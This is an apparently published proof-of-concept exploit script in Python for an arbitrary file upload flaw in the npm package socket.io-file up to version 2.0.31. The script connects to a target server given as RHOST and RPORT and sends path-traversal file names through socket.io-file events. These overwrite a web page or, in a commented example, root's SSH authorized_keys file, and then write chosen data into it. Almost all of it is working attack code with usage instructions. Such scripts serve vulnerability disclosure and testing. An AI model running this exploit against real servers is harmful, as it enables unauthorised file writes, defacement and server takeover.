# Exploit Title: Socket.io-file 2.0.31 - Arbitrary File Upload
# Date: 2020-07-02
# Exploit Author: Cr0wTom
# Vendor Homepage: https://www.npmjs.com/package/socket.io-file
# Software Link: https://www.npmjs.com/package/socket.io-file/v/2.0.31
# Version: <= v2.0.31
# Tested on: node v10.19.0, Socket.io-file v2.0.31, socket.io v2.3.0
# CVE: -

# Requirements: pip install socketIO-client-nexus==0.7.6

#!/usr/bin/env python

import sys
import json
import os
from socketIO_client_nexus import SocketIO, LoggingNamespace

def file_creation(RHOST, RPORT):
    print ('Initiating connection...')
    with SocketIO(RHOST, RPORT, LoggingNamespace) as socketIO:

        print ('Creating file...')

        # Example server running in /home/testuser/Documents/socket-app so customize the path appropriately 
        # Change the "name" option if you want to create an other file in an different path of the system
        socketIO.emit("socket.io-file::createFile",{"id":"u_0","name":"../client/index.html","size":1,"chunkSize":10240,"sent":0,"data":{}})

        # Example for server running with root access:
        # socketIO.emit("socket.io-file::createFile",{"id":"u_0","name":"../../../../../root/.ssh/authorized_keys","size":1,"chunkSize":10240,"sent":0,"data":{}})
        
        print ('Writing data to file...')

        # Add the data you want to get written to the file
        data = "Exploited by Cr0wTom"
        json_string = json.dumps(data)
        socketIO.once("socket.io-file::request::u_0", on_aaa_response)
        socketIO.emit("socket.io-file::stream::u_0", json_string)

def on_aaa_response(*args):
    print('on_aaa_response', args)

def print_usage():
    print ('Socket.io-file <= 2.0.31 - Improper Input Validation in File Upload Functionality')
    print ('Exploit Author: Cr0wTom (https://cr0wsplace.com)\n')
    print ('Usage: python3 exploit.py <RHOST> <RPORT>')
    print ('RHOST        The target host IP address or domain.')
    print ('RPORT        The target host port number of the nodejs server.')

if __name__ == '__main__':

    # ensure we have at least an IP and Port
    if len(sys.argv) < 3:
        print_usage()
        sys.exit(1)

    print ('Socket.io-file <= 2.0.31 - Improper Input Validation in File Upload Functionality')
    print ('Exploit Author: Cr0wTom (https://cr0wsplace.com)\n')
    file_creation(sys.argv[1], sys.argv[2])